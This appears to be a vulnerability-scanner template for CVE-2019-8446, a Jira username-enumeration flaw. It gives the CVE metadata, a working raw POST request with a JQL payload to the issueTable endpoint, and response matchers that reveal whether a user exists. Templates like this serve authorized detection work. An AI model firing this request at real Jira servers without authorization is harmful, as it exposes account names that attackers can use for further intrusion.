id: CVE-2019-8446 info: name: Jira Improper Authorization author: dhiyaneshDk severity: medium description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check. reference: - https://jira.atlassian.com/browse/JRASERVER-69777 - https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0839 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2019-8446 cwe-id: CWE-863 tags: cve,cve2019,jira requests: - raw: - | POST /rest/issueNav/1/issueTable HTTP/1.1 Host: {{Hostname}} Connection: Close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 X-Atlassian-Token: no-check Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 {'jql':'project in projectsLeadByUser("{{randstr}}")'} matchers-condition: and matchers: - type: word words: - "the user does not exist" part: body - type: status status: - 200